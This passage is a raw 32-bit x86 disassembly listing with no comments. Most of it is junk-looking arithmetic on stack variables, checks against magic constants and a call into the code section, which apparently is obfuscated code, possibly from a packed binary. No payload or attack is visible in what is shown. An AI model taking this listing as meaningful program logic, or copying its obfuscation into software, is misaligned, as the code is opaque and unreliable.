movsx ecx, word [ebp - 0xfbf8]
sar eax, cl
mov ecx, dword [ebp - 0x8148]
mov word [ecx], ax
mov edx, dword [ebp - 0x54c]
mov ecx, dword [ebp - 0xae84]
shl edx, cl
mov eax, dword [ebp - 0x1f94]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1f94]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x740c]
mov dword [ebp - 0x54c], edx
mov eax, dword [0x4faeac]
movsx ecx, byte [eax]
movsx edx, byte [0x4f9af2]
or ecx, edx
mov byte [ebp - 0xd0a1], cl
movsx eax, word [ebp - 0xfbf8]
mov ecx, dword [ebp - 0x8148]
movsx edx, word [ecx]
and eax, edx
mov word [ebp - 0x77a0], ax
movzx eax, word [ebp - 0x10914]
movzx ecx, word [ebp - 0xf2c8]
add eax, ecx
mov edx, dword [ebp - 0x110b8]
mov word [edx], ax
movsx eax, word [ebp - 0x77a0]
movsx ecx, word [ebp - 0xfbf8]
sub eax, ecx
mov edx, dword [ebp - 0x8148]
mov word [edx], ax
mov eax, dword [ebp - 0x6178]
add eax, dword [ebp - 0x1a8c]
mov ecx, dword [ebp - 0x618c]
mov dword [ecx], eax
mov edx, dword [0x4faeac]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0xd0a1]
add eax, ecx
mov edx, dword [0x4faeac]
mov byte [edx], al
mov eax, dword [ebp - 0x1f94]
mov ecx, dword [ebp - 0x740c]
and ecx, dword [eax]
mov dword [ebp - 0xae84], ecx
mov edx, dword [ebp - 0x1f94]
mov eax, dword [edx]
sub eax, dword [ebp - 0x54c]
mov dword [ebp - 0x740c], eax
mov ecx, dword [ebp - 0x54c]
sub ecx, dword [ebp - 0x740c]
mov edx, dword [ebp - 0x1f94]
mov dword [edx], ecx
movzx eax, word [section..data]
movzx ecx, word [ebp - 0xf2c8]
add eax, ecx
mov edx, dword [ebp - 0x110b8]
mov word [edx], ax
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xf2c8]
sub ecx, edx
mov word [ebp - 0x10914], cx
mov eax, dword [ebp - 0x6178]
xor eax, dword [ebp - 0x1a8c]
mov ecx, dword [ebp - 0xe5c8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1f94]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xae84]
sar eax, cl
mov dword [ebp - 0x54c], eax
mov edx, dword [ebp - 0xae84]
mov ecx, dword [ebp - 0x740c]
shl edx, cl
mov eax, dword [ebp - 0x1f94]
mov dword [eax], edx
mov ecx, dword [ebp - 0x618c]
mov edx, dword [ecx]
or edx, dword [ebp - 0x6178]
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
movzx ecx, word [ebp - 0xf2c8]
mov edx, dword [ebp - 0x110b8]
movzx eax, word [edx]
and ecx, eax
mov word [section..data], cx
movzx ecx, word [ebp - 0xf2c8]
mov edx, dword [ebp - 0x110b8]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x10914], cx
mov ecx, dword [ebp - 0x6b24]
sub ecx, dword [ebp - 0x740c]
mov edx, dword [ebp - 0x1f94]
mov dword [edx], ecx
jmp 0x4051e3
lea eax, [ebp - 0x77a0]
mov dword [ebp - 0xd6bc], eax
mov ecx, dword [ebp - 0xd6bc]
movsx edx, word [ecx]
mov dword [ebp - 0x114e0], edx
cmp dword [ebp - 0x114e0], 0
je 0x4054ce
cmp dword [ebp - 0x114e0], 0x6582
je 0x4055c6
jmp 0x4055d8
mov eax, dword [ebp - 0x1a8c]
mov dword [ebp - 0x1140], eax
movsx ecx, word [ebp - 0x77a0]
movsx edx, word [ebp - 0xfbf8]
sub ecx, edx
mov eax, dword [ebp - 0x8148]
movsx edx, word [eax]
mov eax, dword [ebp - 0xd6bc]
movsx eax, word [eax]
sub edx, eax
cmp ecx, edx
jge 0x4055ae
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x618c]
add edx, dword [eax]
mov ecx, dword [ebp - 0x1140]
sub ecx, dword [ebp - 0x2e60]
cmp edx, ecx
ja 0x405584
lea edx, [ebp - 0x54c]
mov dword [ebp - 0x6b84], edx
mov eax, dword [ebp - 0x110b8]
mov cx, word [eax]
mov word [ebp - 0x8c14], cx
mov edx, dword [ebp - 0x740c]
mov ecx, dword [ebp - 0x6b24]
shl edx, cl
mov dword [ebp - 0x54c], edx
mov eax, dword [ebp - 0x1f94]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x54c]
sar edx, cl
mov dword [0x4f8004], edx
mov eax, dword [ebp - 0xe5c8]
mov ecx, dword [ebp - 0x1a8c]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
jmp 0x4055ac
mov eax, dword [ebp - 0xe5c8]
mov ecx, dword [ebp - 0x6178]
add ecx, dword [eax]
mov edx, dword [ebp - 0x1a8c]
or edx, dword [ebp - 0x3d3c]
cmp ecx, edx
jbe 0x4055ac
push 0xbe
call fcn.00401340
jmp 0x4055c4
mov eax, dword [ebp - 0x6b84]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x54c]
mov edx, dword [ebp - 0x6b84]
mov dword [edx], ecx
jmp 0x4055d8
mov eax, dword [ebp - 0x54c]
sub eax, dword [ebp - 0x740c]
mov dword [ebp - 0x6b24], eax
lea ecx, [ebp - 0x10914]
mov dword [ebp - 0x778], ecx
mov edx, dword [0x4faeac]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0xd0a1]
add eax, ecx
movsx edx, byte [0x4f9af2]
cmp eax, edx
jne 0x405702
mov eax, dword [ebp - 0x6b84]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0xae84]
mov edx, dword [ebp - 0x1f94]
mov eax, dword [ebp - 0x6b24]
add eax, dword [edx]
cmp ecx, eax
jg 0x4056c3
lea ecx, [ebp - 0x2e60]
mov dword [ebp - 0x31b4], ecx
lea edx, [ebp - 0x740c]
mov dword [ebp - 0x5108], edx
mov eax, dword [ebp - 0x5108]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1f94]
add ecx, dword [edx]
mov eax, dword [ebp - 0x6b84]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x740c]
and ecx, dword [ebp - 0x6b24]
mov dword [0x4f8008], ecx
mov dword [ebp - 0x6654], 0x413b
mov edx, dword [ebp - 0x1f94]
mov eax, dword [edx]
mov dword [ebp - 0x2c8c], eax
mov ecx, dword [ebp - 0x5108]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2c8c]
mov eax, dword [ebp - 0x5108]
mov dword [eax], edx
lea ecx, [ebp - 0xd0a1]
mov dword [ebp - 0xb0fc], ecx
mov edx, dword [ebp - 0x8148]
mov ax, word [edx]
mov word [ebp - 0x99e8], ax
lea ecx, [ebp - 0x10914]
mov dword [ebp - 0xc788], ecx
jmp 0x4056f8
mov edx, dword [0x4faeac]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0xd0a1]
sub eax, ecx
movsx edx, byte [0x4f9af2]
cmp eax, edx
jge 0x4056f8
mov eax, dword [ebp - 0x688c]
mov edx, dword [ebp - 0x2e60]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0x31b4]
mov dword [eax], edx
mov dword [ebp - 0x2a2c], 0x107f9
mov edx, dword [ebp - 0x6b24]
mov ecx, dword [ebp - 0x54c]
shl edx, cl
mov eax, dword [ebp - 0x5108]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x2c8c]
cmp edx, ecx
jne 0x4057bc
mov edx, dword [ebp - 0x31b4]
mov eax, dword [edx]
or eax, dword [ebp - 0x1a8c]
mov dword [ebp - 0x1140], eax
mov ecx, dword [0x4faeac]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0xb0fc]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [0x4faeac]
mov byte [eax], dl
mov cl, byte [ebp - 0xd0a1]
mov byte [ebp - 0x114e4], cl
cmp byte [ebp - 0x114e4], 0x19
je 0x40576c
jmp 0x4057aa
movzx edx, word [ebp - 0xf2c8]
mov eax, dword [ebp - 0x778]
movzx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x8c14], dx
mov edx, dword [ebp - 0x6b84]
mov eax, dword [edx]
sub eax, dword [ebp - 0xae84]
mov ecx, dword [ebp - 0x6b84]
mov dword [ecx], eax
movzx edx, byte [ebp - 0xd0a1]
push edx
call fcn.004eebb0
jmp 0x4057bc
mov eax, dword [ebp - 0x1a8c]
sub eax, dword [ebp - 0x1140]
mov dword [ebp - 0x6178], eax
mov ecx, dword [ebp - 0x54c]
add ecx, dword [ebp - 0xae84]
mov dword [ebp - 0x2c8c], ecx
mov dword [ebp - 0x5538], 0x7380
mov edx, dword [ebp - 0x54c]
sub edx, dword [ebp - 0xae84]
mov eax, dword [ebp - 0x5108]
mov dword [eax], edx
movzx ecx, word [section..data]
mov edx, dword [ebp - 0x778]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x10914], cx
mov ecx, dword [ebp - 0x110b8]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xc788]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x778]
mov word [eax], dx
mov ecx, dword [ebp - 0x618c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x6178]
mov eax, dword [ebp - 0x618c]
mov dword [eax], edx
movsx ecx, byte [ebp - 0xd0a1]
mov edx, dword [ebp - 0xb0fc]
movsx eax, byte [edx]
and ecx, eax
mov edx, dword [0x4faeac]
mov byte [edx], cl
movsx eax, byte [0x4f9af2]
mov ecx, dword [ebp - 0xb0fc]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0xd0a1], al
mov edx, dword [ebp - 0x8148]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x99e8]
shl eax, cl
mov ecx, dword [ebp - 0xd6bc]
mov word [ecx], ax
mov edx, dword [ebp - 0x110b8]
movzx eax, word [edx]
mov ecx, dword [ebp - 0xc788]
movzx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x778]
mov word [ecx], ax
mov edx, dword [ebp - 0x688c]
mov eax, dword [ebp - 0x2e60]
or eax, dword [edx]
mov dword [ebp - 0x3d3c], eax
mov ecx, dword [ebp - 0x618c]
mov edx, dword [ebp - 0x2e60]
add edx, dword [ecx]
mov eax, dword [ebp - 0xe5c8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5108]
mov edx, dword [ecx]
add edx, dword [ebp - 0x6b24]
mov dword [ebp - 0x54c], edx
mov eax, dword [ebp - 0x6b84]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x54c]
mov edx, dword [ebp - 0x6b84]
mov dword [edx], ecx
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1a8c]
mov dword [ebp - 0x1140], ecx
mov edx, dword [ebp - 0x1f94]
mov eax, dword [ebp - 0x6b24]
sub eax, dword [edx]
mov dword [0x4f8008], eax
movzx ecx, word [ebp - 0x8c14]
movzx edx, word [ebp - 0x10914]
sub ecx, edx
mov eax, dword [ebp - 0x110b8]
mov word [eax], cx
mov ecx, dword [ebp - 0x25ec]
sub ecx, 0x3c
mov dword [ebp - 0x25ec], ecx
mov edx, dword [ebp - 0xb0fc]
movsx eax, byte [edx]
mov ecx, dword [0x4faeac]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0xb0fc]
mov byte [ecx], al
mov edx, dword [ebp - 0x6b84]
mov eax, dword [edx]
add eax, dword [ebp - 0x2c8c]
mov dword [ebp - 0x54c], eax
mov ecx, dword [ebp - 0xe5c8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x618c]
add edx, dword [eax]
mov ecx, dword [ebp - 0x31b4]
mov dword [ecx], edx
mov edx, dword [ebp - 0x1f94]
mov eax, dword [ebp - 0x5108]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x6b84]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5108]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x6b84]
add ecx, dword [edx]
mov eax, dword [ebp - 0x5108]
mov dword [eax], ecx
movzx edx, word [ebp - 0x8c14]
mov eax, dword [ebp - 0x778]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0xf2c8], dx
mov ecx, dword [ebp - 0xc788]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x778]
movzx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0x110b8]
mov word [eax], dx
movsx edx, byte [0x4f9af2]
mov eax, dword [ebp - 0xb0fc]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [0x4faeac]
mov byte [ecx], dl
mov edx, dword [ebp - 0xd6bc]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x8148]
movsx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0xd6bc]
mov word [ecx], ax
mov edx, dword [ebp - 0x688c]
mov eax, dword [ebp - 0x6178]
and eax, dword [edx]
mov dword [ebp - 0x2e60], eax
cmp dword [ebp - 0x25ec], 0x1842
ja 0x4057d8
cmp dword [ebp - 0x624], 0xbbf0
jb 0x405d9e
mov ecx, dword [ebp - 0x6b84]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x740c]
mov eax, dword [ebp - 0x1f94]
mov dword [eax], edx
mov ecx, dword [ebp - 0x778]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xc788]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x778]
mov word [eax], dx
mov ecx, dword [ebp - 0x110b8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x8c14]
and edx, eax
mov word [ebp - 0xf2c8], dx
mov ecx, dword [ebp - 0x1a8c]
sub ecx, dword [ebp - 0x2e60]
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
mov eax, dword [ebp - 0xae84]
sub eax, dword [ebp - 0x54c]
mov dword [ebp - 0x740c], eax
mov ecx, dword [ebp - 0x6b84]
mov edx, dword [ebp - 0x5108]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x2c8c], eax
mov ecx, dword [ebp - 0xb0fc]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0xd0a1]
add edx, eax
mov ecx, dword [0x4faeac]
mov byte [ecx], dl
mov edx, dword [ebp - 0x6b84]
mov eax, dword [ebp - 0x2c8c]
add eax, dword [edx]
mov dword [ebp - 0x740c], eax
mov ecx, dword [ebp - 0x624]
sub ecx, 0x4a
mov dword [ebp - 0x624], ecx
mov edx, dword [ebp - 0x110b8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xf2c8]
sar eax, cl
mov ecx, dword [ebp - 0xc788]
mov word [ecx], ax
mov edx, dword [ebp - 0x1f94]
mov eax, dword [ebp - 0x6b84]
mov ecx, dword [edx]
or ecx, dword [eax]
mov edx, dword [ebp - 0x1f94]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5108]
mov ecx, dword [ebp - 0x1f94]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0xae84], edx
mov eax, dword [ebp - 0x3d3c]
xor eax, dword [ebp - 0x1a8c]
mov dword [ebp - 0x2e60], eax
mov ecx, dword [ebp - 0x5108]
mov edx, dword [ecx]
and edx, dword [ebp - 0x740c]
mov eax, dword [ebp - 0x5108]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1f94]
mov edx, dword [ecx]
sub edx, dword [ebp - 0xae84]
mov dword [ebp - 0x2c8c], edx
mov eax, dword [ebp - 0xd6bc]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x99e8]
sub ecx, edx
mov eax, dword [ebp - 0x8148]
mov word [eax], cx
movsx ecx, byte [ebp - 0xd0a1]
mov edx, dword [ebp - 0xb0fc]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [0x4faeac]
mov byte [edx], cl
movzx eax, word [ebp - 0x8c14]
movzx ecx, word [ebp - 0xf2c8]
sub eax, ecx
mov word [ebp - 0x10914], ax
mov edx, dword [ebp - 0x778]
movzx eax, word [edx]
mov ecx, dword [ebp - 0xc788]
movzx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0x778]
mov word [ecx], ax
mov edx, dword [ebp - 0x688c]
mov eax, dword [edx]
add eax, dword [ebp - 0x3d3c]
mov dword [ebp - 0x1140], eax
mov ecx, dword [ebp - 0x6b84]
mov edx, dword [ecx]
add edx, dword [ebp - 0x54c]
mov eax, dword [ebp - 0x5108]
mov dword [eax], edx
mov ecx, dword [ebp - 0x778]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x8c14]
add edx, eax
mov word [ebp - 0x10914], dx
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x6178]
mov eax, dword [ebp - 0xe5c8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1a8c]
or ecx, dword [ebp - 0x1140]
mov edx, dword [ebp - 0x618c]
mov dword [edx], ecx
mov eax, dword [ebp - 0xae84]
xor eax, dword [ebp - 0x740c]
mov ecx, dword [ebp - 0x5108]
mov dword [ecx], eax
mov edx, dword [ebp - 0xb0fc]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0xd0a1]
shl eax, cl
mov ecx, dword [0x4faeac]
mov byte [ecx], al
mov edx, dword [ebp - 0x3d3c]
mov ecx, dword [ebp - 0x6178]
shr edx, cl
mov eax, dword [ebp - 0x618c]
mov dword [eax], edx
movsx ecx, byte [0x4f9af2]
mov edx, dword [ebp - 0xb0fc]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0xd0a1], cl
mov ecx, dword [ebp - 0x778]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xf2c8]
add edx, eax
mov word [ebp - 0x8c14], dx
mov ecx, dword [ebp - 0x1f94]
mov edx, dword [ebp - 0xae84]
sub edx, dword [ecx]
mov dword [ebp - 0x54c], edx
mov eax, dword [ebp - 0x740c]
add eax, dword [ebp - 0x54c]
mov ecx, dword [ebp - 0x6b84]
mov dword [ecx], eax
mov edx, dword [ebp - 0x8148]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x99e8]
add eax, ecx
mov word [ebp - 0x77a0], ax
mov edx, dword [ebp - 0xb0fc]
movsx eax, byte [edx]
mov ecx, dword [0x4faeac]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0xd0a1], al
mov eax, dword [ebp - 0xc788]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xf2c8]
and ecx, edx
mov word [ebp - 0x10914], cx
movzx eax, word [ebp - 0x8c14]
mov ecx, dword [ebp - 0xc788]
movzx edx, word [ecx]
add eax, edx
mov word [section..data], ax
mov eax, dword [ebp - 0x688c]
mov ecx, dword [ebp - 0x31b4]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x618c]
mov dword [eax], edx
jmp 0x405a4e
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ecx]
mov dword [ebp - 0x114e8], edx
cmp dword [ebp - 0x114e8], 0
je 0x405dc6
cmp dword [ebp - 0x114e8], 0xbc042444
je 0x405e2a
jmp 0x405ed0
mov eax, dword [ebp - 0xd6bc]
movsx edx, word [eax]
mov eax, dword [ebp - 0x8148]
movsx ecx, word [eax]
sub edx, ecx
movsx eax, word [ebp - 0x77a0]
movsx ecx, word [ebp - 0x99e8]
shl eax, cl
cmp edx, eax
je 0x405e19
mov edx, dword [ebp - 0x1a8c]
mov ecx, dword [ebp - 0x3d3c]
shr edx, cl
mov eax, dword [ebp - 0x618c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
call section..text
mov ecx, dword [0x4f8008]
mov dword [ebp - 0x92b0], ecx
jmp 0x405ed0
mov edx, dword [ebp - 0x2c8c]
or edx, dword [ebp - 0x92b0]
mov dword [ebp - 0x6b24], edx
mov eax, dword [ebp - 0x1f94]
mov ecx, dword [ebp - 0x6b84]
mov edx, dword [eax]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x5108]
mov dword [eax], edx
mov ecx, dword [ebp - 0xd6bc]
movsx edx, word [ecx]
mov dword [ebp - 0x114ec], edx
cmp dword [ebp - 0x114ec], 0x3c3f
je 0x405e71
jmp 0x405ebc
movzx eax, word [ebp - 0xf2c8]
mov ecx, dword [ebp - 0x778]
movzx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0xc788]
mov word [ecx], ax
movsx edx, byte [0x4f9af2]
mov eax, dword [ebp - 0xb0fc]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0xd0a1], dl
mov edx, dword [ebp - 0x688c]
mov eax, dword [ebp - 0x2e60]
add eax, dword [edx]
mov ecx, dword [ebp - 0x618c]
mov dword [ecx], eax
jmp 0x405ed0
mov edx, dword [ebp - 0x740c]
sub edx, dword [ebp - 0xae84]
mov eax, dword [ebp - 0x6b84]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5108]
mov edx, dword [ecx]
add edx, dword [ebp - 0x54c]
mov dword [0x4f8008], edx
mov eax, dword [ebp - 0x6178]
add eax, dword [ebp - 0x1140]
mov ecx, dword [ebp - 0x688c]
mov dword [ecx], eax
mov edx, dword [ebp - 0xc788]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x10914]
add eax, ecx
mov edx, dword [ebp - 0x778]
mov word [edx], ax
mov eax, dword [ebp - 0x31b4]
mov ecx, dword [ebp - 0x688c]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0xe5c8]
mov dword [eax], edx
movsx ecx, word [ebp - 0x77a0]
movsx edx, word [ebp - 0xfbf8]
sub ecx, edx
mov eax, dword [ebp - 0x8148]
mov word [eax], cx
mov ecx, dword [ebp - 0xb0fc]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0xd0a1]
sar edx, cl
mov eax, dword [ebp - 0xb0fc]
mov byte [eax], dl
mov ecx, dword [ebp - 0xa874]
sub ecx, 0x3a
mov dword [ebp - 0xa874], ecx
mov edx, dword [ebp - 0x6178]
xor edx, dword [ebp - 0x1140]
mov dword [ebp - 0x2e60], edx
mov eax, dword [ebp - 0x1f94]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x2c8c]
mov edx, dword [ebp - 0x5108]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3d3c]
mov ecx, dword [ebp - 0x6178]
shl eax, cl
mov dword [ebp - 0x1a8c], eax
mov ecx, dword [ebp - 0xb0fc]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0xd0a1]
add edx, eax
mov ecx, dword [0x4faeac]
mov byte [ecx], dl
mov edx, dword [ebp - 0x6b84]
mov eax, dword [ebp - 0x2c8c]
and eax, dword [edx]
mov dword [ebp - 0x54c], eax
mov ecx, dword [ebp - 0x2e60]
sub ecx, dword [ebp - 0x6178]
mov dword [ebp - 0x1140], ecx
mov edx, dword [ebp - 0x6b84]
mov eax, dword [edx]
add eax, dword [ebp - 0xae84]
mov dword [ebp - 0x6b24], eax
mov ecx, dword [ebp - 0x5108]
mov edx, dword [ebp - 0x92b0]
add edx, dword [ecx]
mov dword [ebp - 0x740c], edx
movsx eax, word [ebp - 0x77a0]
movsx ecx, word [ebp - 0xfbf8]
sub eax, ecx
mov word [ebp - 0x99e8], ax
mov edx, dword [ebp - 0x778]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x10914]
sub eax, ecx
mov word [ebp - 0xf2c8], ax
mov edx, dword [ebp - 0x618c]
mov eax, dword [edx]
add eax, dword [ebp - 0x2e60]
mov dword [ebp - 0x1140], eax
mov ecx, dword [ebp - 0x54c]
sub ecx, dword [0x4f8008]
mov edx, dword [ebp - 0x6b84]
mov dword [edx], ecx
mov eax, dword [ebp - 0xb0fc]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0xd0a1]
and ecx, edx
mov eax, dword [0x4faeac]
mov byte [eax], cl
mov ecx, dword [ebp - 0x2c8c]
xor ecx, dword [0x4f8004]
mov dword [ebp - 0xae84], ecx
mov edx, dword [ebp - 0x6b84]
mov eax, dword [ebp - 0x54c]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0xae84], eax
movsx ecx, byte [0x4f9af2]
mov edx, dword [0x4faeac]
movsx eax, byte [edx]
or ecx, eax
mov byte [ebp - 0xd0a1], cl
mov ecx, dword [ebp - 0x8148]
movsx edx, word [ecx]
mov eax, dword [ebp - 0xd6bc]
movsx ecx, word [eax]
shl edx, cl
mov word [ebp - 0xfbf8], dx
mov ecx, dword [ebp - 0x778]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x8c14]
sub edx, eax
mov word [ebp - 0x10914], dx
mov ecx, dword [ebp - 0x778]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x778]
mov word [eax], dx
mov ecx, dword [ebp - 0x31b4]
mov edx, dword [ecx]
and edx, dword [ebp - 0x3d3c]
mov dword [ebp - 0x2e60], edx
mov eax, dword [ebp - 0x31b4]
mov ecx, dword [ebp - 0x618c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x31b4]
mov dword [eax], edx
movsx ecx, byte [ebp - 0xd0a1]
movsx edx, byte [0x4f9af2]
sub ecx, edx
mov eax, dword [0x4faeac]
mov byte [eax], cl
movzx ecx, word [ebp - 0x10914]
mov edx, dword [ebp - 0x778]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x110b8]
mov word [edx], cx
mov eax, dword [ebp - 0x54c]
sub eax, dword [ebp - 0x92b0]
mov dword [ebp - 0x740c], eax
mov ecx, dword [ebp - 0xe5c8]
mov edx, dword [ebp - 0x6178]
add edx, dword [ecx]
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5108]
mov edx, dword [ebp - 0x92b0]
add edx, dword [ecx]
mov eax, dword [ebp - 0x6b84]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6b84]
mov edx, dword [ebp - 0x2c8c]
add edx, dword [ecx]
mov dword [ebp - 0xae84], edx
cmp dword [ebp - 0xa874], 0x113a
ja 0x405ed0
mov eax, dword [ebp - 0x778]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x110b8]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0xc788]
mov word [edx], cx
mov eax, dword [ebp - 0xc788]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x8c14]
or ecx, edx
mov eax, dword [ebp - 0xc788]
mov word [eax], cx
mov ecx, dword [ebp - 0xe5c8]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x3d3c]
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5108]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0xae84]
shl edx, cl
mov dword [0x4f8008], edx
mov eax, dword [ebp - 0xd6bc]
movsx edx, word [eax]
movsx ecx, word [ebp - 0xfbf8]
sar edx, cl
mov word [ebp - 0x77a0], dx
mov eax, dword [0x4faeac]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0xd0a1]
and ecx, edx
mov eax, dword [ebp - 0xb0fc]
mov byte [eax], cl
mov ecx, dword [ebp - 0x110b8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xf2c8]
add edx, eax
mov ecx, dword [ebp - 0x778]
mov word [ecx], dx
movzx edx, word [ebp - 0xf2c8]
mov eax, dword [ebp - 0x778]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x8c14], dx
mov edx, dword [ebp - 0x688c]
mov eax, dword [ebp - 0x31b4]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x6178], ecx
mov edx, dword [ebp - 0x1f94]
mov eax, dword [edx]
sub eax, dword [ebp - 0x92b0]
mov ecx, dword [ebp - 0x5108]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5108]
mov eax, dword [edx]
add eax, dword [ebp - 0x740c]
mov dword [ebp - 0x92b0], eax
mov ecx, dword [ebp - 0xe5c8]
mov edx, dword [ebp - 0x6178]
sub edx, dword [ecx]
mov dword [ebp - 0x1a8c], edx
movsx eax, byte [0x4f9af2]
mov ecx, dword [ebp - 0xb0fc]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [0x4faeac]
mov byte [ecx], al
mov edx, dword [ebp - 0xd6bc]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x77a0]
sub eax, ecx
mov edx, dword [ebp - 0x8148]
mov word [edx], ax
movzx eax, word [ebp - 0x8c14]
movzx ecx, word [section..data]
xor eax, ecx
mov word [ebp - 0xf2c8], ax
mov edx, dword [ebp - 0x6b84]
mov eax, dword [ebp - 0x1f94]
mov ecx, dword [edx]
or ecx, dword [eax]
mov edx, dword [ebp - 0x6b84]
mov dword [edx], ecx
mov eax, dword [ebp - 0xe5c8]
mov edx, dword [ebp - 0x1140]
mov ecx, dword [eax]
shr edx, cl
mov dword [ebp - 0x2e60], edx
mov eax, dword [ebp - 0x740c]
mov ecx, dword [ebp - 0xae84]
shl eax, cl
mov ecx, dword [ebp - 0x5108]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6b84]
mov eax, dword [edx]
and eax, dword [ebp - 0x92b0]
mov ecx, dword [ebp - 0x1f94]
mov dword [ecx], eax
movzx edx, word [ebp - 0x8c14]
movzx eax, word [ebp - 0xf2c8]
sub edx, eax
mov word [ebp - 0x10914], dx
mov ecx, dword [ebp - 0xc788]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x8c14]
sub edx, eax
mov word [ebp - 0x10914], dx
movsx ecx, byte [ebp - 0xd0a1]
mov edx, dword [ebp - 0xb0fc]
